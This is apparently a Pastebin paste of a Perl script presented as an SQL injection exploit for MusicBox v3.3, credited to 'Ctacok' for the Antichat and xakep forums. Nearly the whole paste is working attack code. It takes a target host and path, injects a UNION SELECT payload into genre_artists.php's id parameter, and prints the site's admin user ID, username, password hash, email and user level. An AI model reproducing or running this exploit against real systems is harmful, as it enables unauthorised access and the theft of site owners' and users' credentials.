Guest User

Untitled

a guest
Apr 20th, 2010
407
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.13 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use LWP::Simple;
  3. print "\n";
  4. print "##############################################################\n";
  5. print "# MusicBox v 3.3 SQL INJECTION EXPLOIT                       #\n";
  6. print "# Author: Ctacok  (Russian)                                  #\n";
  7. print "# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";
  8. print "##############################################################\n";
  9. print "\n Usage: exploit.pl [host] [path] ";
  10. print "\n EX : exploit.pl www.localhost.com /path/ \n\n";
  11. print "\n userlevel 9 = SuperAdmin ";
  12. print "\n pass = md5($pass)";
  13. if (@ARGV < 2)
  14. {
  15. exit;
  16. }
  17. $host=$ARGV[0];
  18. $path=$ARGV[1];
  19. $vuln = "-1+union+select+1,2,concat(0x3a3a3a,userid,0x3a,username,0x3a,password,0x3a,email,0x3a,userlevel,0x3a3a3a),4,5,6,7+from+users+";
  20. $doc = get($host.$path."genre_artists.php?id=".$vuln."--+&by=ASC");
  21. if ($doc =~ /:::(.+):(.+):(.+):(.+):(.+):::/){
  22.         print "\n[+] Admin id: : $1";
  23.         print "\n[+] Admin username: $2";
  24.         print "\n[+] Admin password: $3";
  25.         print "\n[+] Admin email: $4";
  26.         print "\n[+] Admin userlevel: $5";
  27. }else{
  28.         print "\n My name is Fail, Epic Fail... \n"
  29. }
Advertisement
Add Comment
Please, Sign In to add comment